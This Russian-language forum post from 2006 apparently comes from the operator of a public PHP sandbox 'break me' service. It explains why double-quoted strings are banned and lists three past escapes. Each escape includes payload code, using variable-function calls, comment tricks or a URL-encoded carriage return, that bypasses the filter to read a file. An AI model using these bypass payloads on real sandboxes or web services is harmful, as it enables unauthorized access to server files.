Легенда:
 новое сообщение
 закрытая нитка
 новое сообщение
 в закрытой нитке
 старое сообщение
|
- Напоминаю, что масса вопросов по функционированию форума снимается после прочтения его описания.
- Новичкам также крайне полезно ознакомиться с данным документом.
По традиции - иправлен и снова запущен 16.06.06 12:45 Число просмотров: 3263
Автор: xintrea Статус: Незарегистрированный пользователь
|
> subj.
>
>
> и не взлом, вопрос по функционалу:
>
> ээ, а как ВООБЩЕ двойную кавычку напечатать-то?
> $mamba = '"mama mia"';
> Без кавычки жизнь тугая вообще.
Фак, что-то не добавилась мессага в форум, пешу второй раз.
Двойные кавычки зпрещены впринципе, разрешены только одинарные,
так как в двойных кавычках происходит парсинг содержимого
на предмет вычленения значащих лексем. При этом, в токенах
лексемы из строки с двойными кавычками невидны, поэтому
сложно надежно определять опасные конструкции в таких строках.
На данный момент сервис снова запущен.
http://xi.net.ru/sandbox/webcode.php
Для интересующихся - история взломов
Взлом N1
Время: 08.06.06 12:22
Автор: Valyala
Код:
$a = 'file_get_contents';
echo ${'a'}('msg.txt');
Взлом N2
Время: 09.06.06 10:57
Автор: Paganoid
Код:
$lol = 'file_get_contents';
$mamba = 'lol';
echo $bad*/$mamba/*bad('msg.txt');
Взлом N3
Время: 14.06.06 10:09
Автор: Paganoid
Код: Взлом через URL со специально искаженным кодом (использование символа 0Dh).
http://xi.net.ru/sandbox/webcode.php?httpcodetext=//$%0Decho%20file_get_contents(%27msg.txt%27);
|
|
|
подробно о проекте
Анализ криптографических сетевых... 
По традиции - иправлен и снова запущен - xintrea 